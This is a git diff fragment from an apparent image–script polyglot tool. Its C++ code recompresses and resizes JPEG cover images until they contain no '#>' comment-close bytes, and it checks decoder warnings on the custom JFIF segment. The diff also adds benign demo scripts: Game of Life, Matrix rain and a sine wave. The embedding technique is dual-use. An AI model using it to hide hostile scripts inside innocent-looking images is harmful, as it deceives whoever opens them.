void replaceLeadingMetadataWithCleanJfif(vBytes& image_file_vec) {
|
||||
const std::size_t dqt_pos = findRequiredDqtOffset(image_file_vec);
|
||||
|
||||
vBytes cleaned;
|
||||
cleaned.reserve(CLEAN_JFIF_SIG.size() + image_file_vec.size() - dqt_pos);
|
||||
cleaned.insert(cleaned.end(), CLEAN_JFIF_SIG.begin(), CLEAN_JFIF_SIG.end());
|
||||
cleaned.insert(cleaned.end(),
|
||||
image_file_vec.begin() + static_cast<std::ptrdiff_t>(dqt_pos),
|
||||
image_file_vec.end());
|
||||
|
||||
image_file_vec = std::move(cleaned);
|
||||
validateJpegHeader(image_file_vec);
|
||||
}
|
||||
|
||||
[[nodiscard]] bool recompressSameDimensionsUntilCommentBlockFree(vBytes& image_file_vec) {
|
||||
const DecodedImage source = decodeJpeg(image_file_vec);
|
||||
auto compressor = makeHandle(tjInitCompress(), "tjInitCompress()");
|
||||
|
||||
for (int quality_val = START_QUALITY; quality_val >= MIN_SAME_DIMENSION_QUALITY; --quality_val) {
|
||||
for (const auto& candidate : ENCODE_CANDIDATES) {
|
||||
printEncodeProgress("Recompress", candidate.label, quality_val, source.size.width, source.size.height);
|
||||
|
||||
compressPixelsToJpeg(
|
||||
image_file_vec,
|
||||
source.pixels,
|
||||
source.size,
|
||||
compressor.get(),
|
||||
quality_val,
|
||||
candidate);
|
||||
|
||||
if (!containsCommentBlockClose(image_file_vec)) {
|
||||
return true;
|
||||
}
|
||||
}
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
[[nodiscard]] bool resizeUntilCommentBlockFree(vBytes& image_file_vec) {
|
||||
const DecodedImage pristine = decodeJpeg(image_file_vec);
|
||||
vBytes resize_scratch;
|
||||
auto compressor = makeHandle(tjInitCompress(), "tjInitCompress()");
|
||||
|
||||
const int max_dim = std::max(pristine.size.width, pristine.size.height);
|
||||
const int step = std::max(1, max_dim / 300);
|
||||
|
||||
for (int attempt = 1; attempt <= MAX_RESIZE_ATTEMPTS; ++attempt) {
|
||||
const int decrease_dims_val = attempt * step;
|
||||
|
||||
if (pristine.size.width - decrease_dims_val < MIN_COVER_IMAGE_DIMENSION ||
|
||||
pristine.size.height - decrease_dims_val < MIN_COVER_IMAGE_DIMENSION) {
|
||||
break;
|
||||
}
|
||||
|
||||
const int quality_val = std::clamp(
|
||||
START_QUALITY - ((attempt / 15) * 2),
|
||||
MIN_JPEG_QUALITY,
|
||||
MAX_JPEG_QUALITY);
|
||||
const auto& candidate = ENCODE_CANDIDATES[static_cast<std::size_t>(attempt - 1) % ENCODE_CANDIDATES.size()];
|
||||
|
||||
resizeImage(image_file_vec, pristine, resize_scratch, compressor.get(), quality_val, decrease_dims_val, candidate);
|
||||
|
||||
if (!containsCommentBlockClose(image_file_vec)) {
|
||||
return true;
|
||||
}
|
||||
}
|
||||
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
bool makeTailRetryCandidate(std::span<const Byte> source_jpg, vBytes& out, int retry_index) {
|
||||
if (retry_index < 0) {
|
||||
return false;
|
||||
}
|
||||
|
||||
const DecodedImage source = decodeJpeg(source_jpg);
|
||||
auto compressor = makeHandle(tjInitCompress(), "tjInitCompress()");
|
||||
|
||||
constexpr int QUALITY_CANDIDATE_COUNT = START_QUALITY - MIN_SAME_DIMENSION_QUALITY + 1;
|
||||
|
||||
const int same_dimension_candidate_count =
|
||||
QUALITY_CANDIDATE_COUNT * static_cast<int>(ENCODE_CANDIDATES.size());
|
||||
|
||||
if (retry_index < same_dimension_candidate_count) {
|
||||
const int quality_val = START_QUALITY -
|
||||
(retry_index / static_cast<int>(ENCODE_CANDIDATES.size()));
|
||||
const auto& candidate =
|
||||
ENCODE_CANDIDATES[static_cast<std::size_t>(retry_index) % ENCODE_CANDIDATES.size()];
|
||||
|
||||
printEncodeProgress("Tail retry", candidate.label, quality_val, source.size.width, source.size.height);
|
||||
compressPixelsToJpeg(out, source.pixels, source.size, compressor.get(), quality_val, candidate);
|
||||
return !containsCommentBlockClose(out);
|
||||
}
|
||||
|
||||
retry_index -= same_dimension_candidate_count;
|
||||
if (retry_index >= MAX_RESIZE_ATTEMPTS) {
|
||||
return false;
|
||||
}
|
||||
|
||||
vBytes resize_scratch;
|
||||
const int decrease_dims_val = retry_index + 1;
|
||||
const int quality_val = std::clamp(
|
||||
START_QUALITY - ((decrease_dims_val / 15) * 2),
|
||||
MIN_JPEG_QUALITY,
|
||||
MAX_JPEG_QUALITY);
|
||||
const auto& candidate = ENCODE_CANDIDATES[static_cast<std::size_t>(retry_index) % ENCODE_CANDIDATES.size()];
|
||||
|
||||
resizeImage(out, source, resize_scratch, compressor.get(), quality_val, decrease_dims_val, candidate);
|
||||
return !containsCommentBlockClose(out);
|
||||
}
|
||||
|
||||
bool ensureImageCompatible(vBytes& image_file_vec) {
|
||||
if (image_file_vec.size() <= JFIF_COMPATIBILITY_MARKER_INDEX) {
|
||||
throw std::runtime_error("Image File Error: Image too small to process.");
|
||||
}
|
||||
|
||||
validateJpegHeader(image_file_vec);
|
||||
|
||||
if (isAlreadyCompatible(image_file_vec)) {
|
||||
return false;
|
||||
}
|
||||
|
||||
std::println("\nChecking cover image for comment-block close sequences \"#>\" (0x23, 0x3E).\n");
|
||||
std::println("Image will be progressively recompressed first; dimensions will only be reduced if needed.\n");
|
||||
|
||||
optimizeImage(image_file_vec);
|
||||
downscaleToFit(image_file_vec, AUTO_DOWNSCALE_MAX_DIM);
|
||||
replaceLeadingMetadataWithCleanJfif(image_file_vec);
|
||||
|
||||
if (!containsCommentBlockClose(image_file_vec)) {
|
||||
return true;
|
||||
}
|
||||
|
||||
if (recompressSameDimensionsUntilCommentBlockFree(image_file_vec)) {
|
||||
return true;
|
||||
}
|
||||
|
||||
if (resizeUntilCommentBlockFree(image_file_vec)) {
|
||||
return true;
|
||||
}
|
||||
|
||||
std::println(std::cerr, "\n\nImage Compatibility Error:\n\nProcedure failed to remove close-comment block sequences from cover image.");
|
||||
throw std::runtime_error("Try another image or use an editor such as GIMP to manually reduce (scale) image dimensions.");
|
||||
}
|
||||
@@ -0,0 +1,14 @@
|
||||
#pragma once
|
||||
|
||||
#include "common.h"
|
||||
|
||||
#include <span>
|
||||
|
||||
// Strips metadata, applies EXIF orientation, and iteratively resizes
|
||||
// to eliminate comment-block close sequences "#>" (0x23, 0x3E) from the raw JPEG data.
|
||||
// Returns true if the image was modified.
|
||||
[[nodiscard]] bool ensureImageCompatible(vBytes& image_file_vec);
|
||||
|
||||
// Produces another progressive JPEG candidate from an already-compatible cover image.
|
||||
// Returns false if the selected candidate still contains a "#>" sequence.
|
||||
[[nodiscard]] bool makeTailRetryCandidate(std::span<const Byte> source_jpg, vBytes& out, int retry_index);
|
||||
@@ -0,0 +1,82 @@
|
||||
#include "jpeg_warning_check.h"
|
||||
|
||||
#include <csetjmp>
|
||||
#include <cstddef>
|
||||
#include <cstdio>
|
||||
#include <jerror.h>
|
||||
#include <jpeglib.h>
|
||||
#include <vector>
|
||||
|
||||
namespace {
|
||||
struct JpegErrorManager {
|
||||
jpeg_error_mgr pub{};
|
||||
jmp_buf jump{};
|
||||
JpegWarningSummary summary{};
|
||||
};
|
||||
|
||||
extern "C" void errorExit(j_common_ptr cinfo) {
|
||||
auto* manager = reinterpret_cast<JpegErrorManager*>(cinfo->err);
|
||||
manager->summary.fatal_error = true;
|
||||
longjmp(manager->jump, 1);
|
||||
}
|
||||
|
||||
extern "C" void emitMessage(j_common_ptr cinfo, int msg_level) {
|
||||
if (msg_level >= 0) {
|
||||
return;
|
||||
}
|
||||
|
||||
auto* manager = reinterpret_cast<JpegErrorManager*>(cinfo->err);
|
||||
switch (cinfo->err->msg_code) {
|
||||
case JWRN_EXTRANEOUS_DATA:
|
||||
++manager->summary.extraneous_data;
|
||||
break;
|
||||
case JWRN_JPEG_EOF:
|
||||
++manager->summary.premature_eof;
|
||||
break;
|
||||
default:
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
JpegWarningSummary inspectJpegWarnings(std::span<const Byte> jpg) {
|
||||
if (jpg.empty()) {
|
||||
return JpegWarningSummary{ .fatal_error = true };
|
||||
}
|
||||
|
||||
jpeg_decompress_struct cinfo{};
|
||||
JpegErrorManager manager{};
|
||||
bool decompressor_created = false;
|
||||
|
||||
cinfo.err = jpeg_std_error(&manager.pub);
|
||||
manager.pub.error_exit = errorExit;
|
||||
manager.pub.emit_message = emitMessage;
|
||||
|
||||
if (setjmp(manager.jump) != 0) {
|
||||
if (decompressor_created) {
|
||||
jpeg_destroy_decompress(&cinfo);
|
||||
}
|
||||
return manager.summary;
|
||||
}
|
||||
|
||||
jpeg_create_decompress(&cinfo);
|
||||
decompressor_created = true;
|
||||
|
||||
jpeg_mem_src(&cinfo, jpg.data(), jpg.size());
|
||||
(void)jpeg_read_header(&cinfo, TRUE);
|
||||
(void)jpeg_start_decompress(&cinfo);
|
||||
|
||||
const std::size_t row_stride = static_cast<std::size_t>(cinfo.output_width) *
|
||||
static_cast<std::size_t>(cinfo.output_components);
|
||||
std::vector<Byte> row(row_stride);
|
||||
|
||||
while (cinfo.output_scanline < cinfo.output_height) {
|
||||
Byte* row_ptr = row.data();
|
||||
(void)jpeg_read_scanlines(&cinfo, &row_ptr, 1);
|
||||
}
|
||||
|
||||
(void)jpeg_finish_decompress(&cinfo);
|
||||
jpeg_destroy_decompress(&cinfo);
|
||||
|
||||
return manager.summary;
|
||||
}
|
||||
@@ -0,0 +1,31 @@
|
||||
#pragma once
|
||||
|
||||
#include "common.h"
|
||||
|
||||
#include <span>
|
||||
|
||||
struct JpegWarningSummary {
|
||||
bool fatal_error = false;
|
||||
int extraneous_data = 0;
|
||||
int premature_eof = 0;
|
||||
|
||||
[[nodiscard]] bool hasUnsafeTailWarning() const noexcept {
|
||||
// The polyglot output uses a custom non-standard JFIF APP0 (JFIF# instead
|
||||
// of JFIF\0, length 0x0110 = 272 instead of the standard 0x0010 = 16).
|
||||
// libjpeg-turbo >= 3.0 on arm64 emits JWRN_EXTRANEOUS_DATA when it
|
||||
// encounters this non-standard APP0, and may also set the fatal_error flag
|
||||
// as a side effect of losing JPEG stream context after the non-standard segment.
|
||||
//
|
||||
// When both fatal_error AND extraneous_data are set simultaneously, the
|
||||
// fatal_error is a cascading false positive caused by the custom APP0 —
|
||||
// not a sign of a truly broken JPEG tail.
|
||||
//
|
||||
// Only these conditions indicate a genuinely unsafe tail:
|
||||
// 1. fatal_error without any extraneous_data (a real decode failure)
|
||||
// 2. premature_eof (truncated JPEG data)
|
||||
const bool real_fatal = fatal_error && (extraneous_data == 0);
|
||||
return real_fatal || premature_eof > 0;
|
||||
}
|
||||
};
|
||||
|
||||
[[nodiscard]] JpegWarningSummary inspectJpegWarnings(std::span<const Byte> jpg);
|
||||
@@ -0,0 +1,117 @@
|
||||
Write-Host "Enter the board width (default 20):"
|
||||
$widthInput = Read-Host
|
||||
if ([string]::IsNullOrWhiteSpace($widthInput)) {
|
||||
$Width = 20
|
||||
}
|
||||
else {
|
||||
$Width = [int]$widthInput
|
||||
}
|
||||
|
||||
Write-Host "Enter the board height (default 10):"
|
||||
$heightInput = Read-Host
|
||||
if ([string]::IsNullOrWhiteSpace($heightInput)) {
|
||||
$Height = 10
|
||||
}
|
||||
else {
|
||||
$Height = [int]$heightInput
|
||||
}
|
||||
Write-Host "Enter the number of steps (default 50):"
|
||||
$stepsInput = Read-Host
|
||||
if ([string]::IsNullOrWhiteSpace($stepsInput)) {
|
||||
$Steps = 50
|
||||
}
|
||||
else {
|
||||
$Steps = [int]$stepsInput
|
||||
}
|
||||
$board = @()
|
||||
for ($r = 0; $r -lt $Height; $r++) {
|
||||
$row = @()
|
||||
for ($c = 0; $c -lt $Width; $c++) {
|
||||
$randVal = Get-Random -Minimum 0.0 -Maximum 1.0
|
||||
if ($randVal -lt 0.2) {
|
||||
$row += $true
|
||||
}
|
||||
else {
|
||||
$row += $false
|
||||
}
|
||||
}
|
||||
$board += , $row
|
||||
}
|
||||
function Draw-Board {
|
||||
param([object[]]$board)
|
||||
Clear-Host
|
||||
for ($r = 0; $r -lt $board.Count; $r++) {
|
||||
$rowStr = ""
|
||||
for ($c = 0; $c -lt $board[$r].Count; $c++) {
|
||||
if ($board[$r][$c]) {
|
||||
$rowStr += "#"
|
||||
}
|
||||
else {
|
||||
$rowStr += "."
|
||||
}
|
||||
}
|
||||
Write-Host $rowStr
|
||||
}
|
||||
}
|
||||
function Get-NeighborCount {
|
||||
param(
|
||||
[object[]]$board,
|
||||
[int]$r,
|
||||
[int]$c
|
||||
)
|
||||
$height = $board.Count
|
||||
$width = $board[0].Count
|
||||
$count = 0
|
||||
for ($dr = -1; $dr -le 1; $dr++) {
|
||||
for ($dc = -1; $dc -le 1; $dc++) {
|
||||
if ($dr -eq 0 -and $dc -eq 0) {
|
||||
continue
|
||||
}
|
||||
$nr = $r + $dr
|
||||
$nc = $c + $dc
|
||||
if ($nr -ge 0 -and $nr -lt $height -and
|
||||
$nc -ge 0 -and $nc -lt $width) {
|
||||
if ($board[$nr][$nc]) {
|
||||
$count++
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
return $count
|
||||
}
|
||||
function Next-Board {
|
||||
param([object[]]$board)
|
||||
$height = $board.Count
|
||||
$width = $board[0].Count
|
||||
$newBoard = @()
|
||||
for ($r = 0; $r -lt $height; $r++) {
|
||||
$newRow = @()
|
||||
for ($c = 0; $c -lt $width; $c++) {
|
||||
$alive = $board[$r][$c]
|
||||
$neighbors = Get-NeighborCount -board $board -r $r -c $c
|
||||
if ($alive) {
|
||||
if ($neighbors -lt 2 -or $neighbors -gt 3) {
|
||||
$newRow += $false
|
||||
}
|
||||
else {
|
||||
$newRow += $true
|
||||
}
|
||||
}
|
||||
else {
|
||||
if ($neighbors -eq 3) {
|
||||
$newRow += $true
|
||||
}
|
||||
else {
|
||||
$newRow += $false
|
||||
}
|
||||
}
|
||||
}
|
||||
$newBoard += , $newRow
|
||||
}
|
||||
return $newBoard
|
||||
}
|
||||
for ($i = 1; $i -le $Steps; $i++) {
|
||||
Draw-Board -board $board
|
||||
$board = Next-Board -board $board
|
||||
Start-Sleep -Milliseconds 200
|
||||
}
|
||||
@@ -0,0 +1,171 @@
|
||||
#!/bin/bash
|
||||
#
|
||||
# Matrix Rain
|
||||
#
|
||||
# Half-width Katakana, alphanumeric, and special characters
|
||||
# Color gradient trail: bright white head → green body → dark green tail → erased
|
||||
# - Per-stream variable speed and random gaps between streams
|
||||
# - Buffered frame output (single printf per frame, no subshells in hot loop)
|
||||
# - Terminal resize handling (SIGWINCH)
|
||||
# - Shimmer effect: trail characters randomly change each frame
|
||||
|
||||
set -u
|
||||
|
||||
MUSIC_PID=""
|
||||
|
||||
url="https://cleasbycode.co.uk/media/matrix2.webm"
|
||||
|
||||
if command -v mpv &>/dev/null; then
|
||||
mpv --no-video "$url" &>/dev/null &
|
||||
MUSIC_PID=$!
|
||||
elif command -v cvlc &>/dev/null; then
|
||||
cvlc --no-video --play-and-exit "$url" &>/dev/null &
|
||||
MUSIC_PID=$!
|
||||
fi
|
||||
|
||||
# -- Setup --
|
||||
printf '\e[?25l\e[2J\e[H'
|
||||
|
||||
# Put terminal in raw mode so key presses are immediate (no Enter needed)
|
||||
old_tty=$(stty -g)
|
||||
stty -echo -icanon min 0 time 0
|
||||
|
||||
cleanup() {
|
||||
[[ -n "$MUSIC_PID" ]] && kill "$MUSIC_PID" 2>/dev/null
|
||||
stty "$old_tty"
|
||||
printf '\e[?25h\e[0m\e[2J\e[H'
|
||||
exit 0
|
||||
}
|
||||
trap cleanup INT TERM EXIT
|
||||
|
||||
cols=$(tput cols)
|
||||
rows=$(tput lines)
|
||||
|
||||
recalc() {
|
||||
cols=$(tput cols)
|
||||
rows=$(tput lines)
|
||||
num_streams=$cols
|
||||
((num_streams < 1)) && num_streams=1
|
||||
printf '\e[2J'
|
||||
}
|
||||
trap recalc WINCH
|
||||
|
||||
# Single-cell characters — one stream per column
|
||||
cell_w=1
|
||||
num_streams=$cols
|
||||
((num_streams < 1)) && num_streams=1
|
||||
|
||||
# Matrix character set: half-width Katakana + digits + Latin + punctuation/symbols
|
||||
chars=(
|
||||
# Half-width Katakana (the iconic Matrix look)
|
||||
ヲ ァ ィ ゥ ェ ォ ャ ュ ョ ッ ー ア イ ウ エ オ カ キ ク ケ コ サ シ ス セ ソ
|
||||
タ チ ツ テ ト ナ ニ ヌ ネ ノ ハ ヒ フ ヘ ホ マ ミ ム メ モ ヤ ユ ヨ ラ リ ル レ ロ ワ ン
|
||||
# Digits
|
||||
0 1 2 3 4 5 6 7 8 9
|
||||
# Latin
|
||||
A B C D E F G H I J K L M N O P Q R S T U V W X Y Z
|
||||
a b c d e f g h i j k l m n o p q r s t u v w x y z
|
||||
# Symbols / special characters
|
||||
'!' '@' '#' '$' '%' '^' '&' '*' '(' ')' '+' '=' '<' '>' '?' '/'
|
||||
'{' '}' '[' ']' '|' ':' ';' '~'
|
||||
)
|
||||
nchars=${#chars[@]}
|
||||
|
||||
# Trail color gradient (head to tail)
|
||||
C_HEAD='\e[1;97m' # bold bright white (leading character)
|
||||
C_NEAR='\e[1;92m' # bold bright green (just behind head)
|
||||
C_BODY='\e[38;5;46m' # bright green (upper trail)
|
||||
C_MID='\e[38;5;34m' # medium green (mid trail)
|
||||
C_TAIL='\e[38;5;22m' # dark green (lower trail)
|
||||
C_DIM='\e[38;5;236m' # near-black (fading out)
|
||||
|
||||
# -- Per-stream state arrays --
|
||||
declare -a s_row s_len s_spd s_gap s_on
|
||||
|
||||
reset_stream() {
|
||||
local i=$1
|
||||
s_row[$i]=$(( -(RANDOM % (rows / 2 + 1)) )) # start above screen
|
||||
s_len[$i]=$(( RANDOM % 14 + 6 )) # trail length 6-19
|
||||
s_spd[$i]=$(( RANDOM % 2 + 1 )) # speed 1-2 rows/frame
|
||||
s_on[$i]=1
|
||||
}
|
||||
|
||||
for ((i = 0; i < num_streams; i++)); do
|
||||
reset_stream "$i"
|
||||
done
|
||||
|
||||
# -- Main loop --
|
||||
while true; do
|
||||
buf=''
|
||||
|
||||
for ((i = 0; i < num_streams; i++)); do
|
||||
# Handle inactive streams (gap countdown)
|
||||
if (( !s_on[i] )); then
|
||||
(( --s_gap[i] <= 0 )) && reset_stream "$i"
|
||||
continue
|
||||
fi
|
||||
|
||||
c=$((i * cell_w + 1)) # 1-based terminal column
|
||||
h=${s_row[i]}
|
||||
l=${s_len[i]}
|
||||
|
||||
# -- Draw the gradient trail from head to tail --
|
||||
|
||||
# Head: bright white (the leading drop)
|
||||
if (( h >= 1 && h <= rows )); then
|
||||
buf+="\e[${h};${c}H${C_HEAD}${chars[RANDOM % nchars]}"
|
||||
fi
|
||||
|
||||
# 1 behind: bold bright green
|
||||
(( p = h - 1 ))
|
||||
if (( p >= 1 && p <= rows )); then
|
||||
buf+="\e[${p};${c}H${C_NEAR}${chars[RANDOM % nchars]}"
|
||||
fi
|
||||
|
||||
# Upper trail body: bright green (shimmer)
|
||||
(( p = h - l / 4 ))
|
||||
if (( p >= 1 && p <= rows && RANDOM % 2 == 0 )); then
|
||||
buf+="\e[${p};${c}H${C_BODY}${chars[RANDOM % nchars]}"
|
||||
fi
|
||||
|
||||
# Mid trail: medium green (shimmer)
|
||||
(( p = h - l / 2 ))
|
||||
if (( p >= 1 && p <= rows && RANDOM % 3 == 0 )); then
|
||||
buf+="\e[${p};${c}H${C_MID}${chars[RANDOM % nchars]}"
|
||||
fi
|
||||
|
||||
# Lower trail: dark green (shimmer)
|
||||
(( p = h - 3 * l / 4 ))
|
||||
if (( p >= 1 && p <= rows && RANDOM % 3 == 0 )); then
|
||||
buf+="\e[${p};${c}H${C_TAIL}${chars[RANDOM % nchars]}"
|
||||
fi
|
||||
|
||||
# Fading out: near-black just before erase
|
||||
(( p = h - l + 1 ))
|
||||
if (( p >= 1 && p <= rows )); then
|
||||
buf+="\e[${p};${c}H${C_DIM}${chars[RANDOM % nchars]}"
|
||||
fi
|
||||
|
||||
# Erase: clear the tail end
|
||||
(( p = h - l ))
|
||||
if (( p >= 1 && p <= rows )); then
|
||||
buf+="\e[${p};${c}H "
|
||||
fi
|
||||
|
||||
# Advance the stream
|
||||
(( s_row[i] += s_spd[i] ))
|
||||
|
||||
# Deactivate when fully off-screen
|
||||
if (( h - l > rows )); then
|
||||
s_on[$i]=0
|
||||
s_gap[$i]=$(( RANDOM % 40 + 5 )) # pause 5-44 frames before restart
|
||||
fi
|
||||
done
|
||||
|
||||
printf '%b' "$buf"
|
||||
|
||||
# Exit on any key press
|
||||
if read -rsn1 -t 0.035 _; then
|
||||
break
|
||||
fi
|
||||
done
|
||||
@@ -0,0 +1,64 @@
|
||||
# text-sine.ps1 created by Darren Shaw / @gierrofo
|
||||
# Make a command-line sine wave
|
||||
# Powershell trig functions work on radians
|
||||
# rad = deg * (pi/180)
|
||||
# To get value between 0 and -1
|
||||
# [math]::sin($deg * ([math]::pi/180))
|
||||
# Uses [system.console]::keyavailable to check if a key has been pressed, stopping if it has.
|
||||
|
||||
# Setup some variables
|
||||
$hostwidth = $Host.UI.RawUI.WindowSize.Width
|
||||
$display_char= ".-=:§[#]§:=-."
|
||||
$dcl = $display_char.length
|
||||
$hostwidth = ($hostwidth - (2 * $dcl)) / 2
|
||||
$centre = $hostwidth + ($dcl / 2)
|
||||
$delay = 15
|
||||
$continue = $true
|
||||
$str_colours = "DarkGreen", "DarkCyan", "DarkYellow", "Gray", "DarkGray", "Green", "Cyan", "Red", "Magenta", "Yellow", "White"
|
||||
$change_colour = 360 / $str_colours.count
|
||||
$clear_screen_after = $str_colours.count * 4
|
||||
$number_of_runs = 0
|
||||
$lowest_speed = 2
|
||||
$speed = $lowest_speed
|
||||
$speed_inc = 1
|
||||
$max_speed = 18
|
||||
|
||||
Clear-Host
|
||||
|
||||
While ($continue -eq $true) {
|
||||
$str_colours = $str_colours | Sort-Object {Get-Random} # Shuffle the colour order
|
||||
|
||||
For ($deg = -90; $deg -lt 270; $deg = $deg + $speed) { # Start at -90 to draw at left-hand column
|
||||
# Calcualte where we're drawing
|
||||
$offset_delta = [math]::sin($deg * ([math]::pi/180))
|
||||
$offset = ($centre * $offset_delta)
|
||||
$location = [math]::round($centre + $offset + $dcl)
|
||||
|
||||
# Pad the string to get us to the location
|
||||
$display_str = $display_char.PadLeft($location, " ")
|
||||
|
||||
# Change the colour at equal time based on how many colours we're using
|
||||
$str_colour_num = [math]::truncate(($deg / $change_colour))
|
||||
$str_colour = $str_colours[$str_colour_num]
|
||||
|
||||
# Write the string
|
||||
Write-Host -ForegroundColor ${str_colour} "${display_str}"
|
||||
|
||||
# Wait a little bit to avoid screen tearing and check for a keypress to exit
|
||||
Start-Sleep -Milliseconds $delay
|
||||
If ([system.console]::keyavailable) {
|
||||
$continue = $false
|
||||
break
|
||||
}
|
||||
}
|
||||
# Clear the screen after a set number of runs, stops the screen buffer filling up
|
||||
$number_of_runs++
|
||||
If ($number_of_runs -gt $clear_screen_after) {
|
||||
Clear-Host
|
||||
$number_of_runs = 0
|
||||
}
|
||||
|
||||
$speed = $speed + $speed_inc
|
||||
If ($speed -eq $max_speed) { $speed_inc = -1 }
|
||||
If ($speed -eq $lowest_speed) { $speed_inc = 1 }
|
||||
}
|
||||
@@ -0,0 +1,37 @@
|
||||
This software is available under 2 licenses -- choose whichever you prefer.
|
||||
------------------------------------------------------------------------------
|
||||
ALTERNATIVE A - MIT License
|
||||
Copyright (c) 2017 Sean Barrett
|
||||
Permission is hereby granted, free of charge, to any person obtaining a copy of
|
||||
this software and associated documentation files (the "Software"), to deal in
|
||||
the Software without restriction, including without limitation the rights to
|
||||
use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies
|
||||
of the Software, and to permit persons to whom the Software is furnished to do
|
||||
so, subject to the following conditions:
|
||||
The above copyright notice and this permission notice shall be included in all
|
||||
copies or substantial portions of the Software.
|
||||
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
||||
SOFTWARE.
|
||||
------------------------------------------------------------------------------
|
||||
ALTERNATIVE B - Public Domain (www.unlicense.org)
|
||||
This is free and unencumbered software released into the public domain.
|
||||
Anyone is free to copy, modify, publish, use, compile, sell, or distribute this
|
||||
software, either in source code form or as a compiled binary, for any purpose,
|
||||
commercial or non-commercial, and by any means.
|
||||
In jurisdictions that recognize copyright laws, the author or authors of this
|
||||
software dedicate any and all copyright interest in the software to the public
|
||||
domain. We make this dedication for the benefit of the public at large and to
|
||||
the detriment of our heirs and successors. We intend this dedication to be an
|
||||
overt act of relinquishment in perpetuity of all present and future rights to
|
||||
this software under copyright law.
|
||||
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
AUTHORS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN
|
||||
ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
|
||||
WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
|
||||
File diff suppressed because it is too large
Load Diff
File diff suppressed because it is too large
Load Diff
Reference in New Issue
Block a user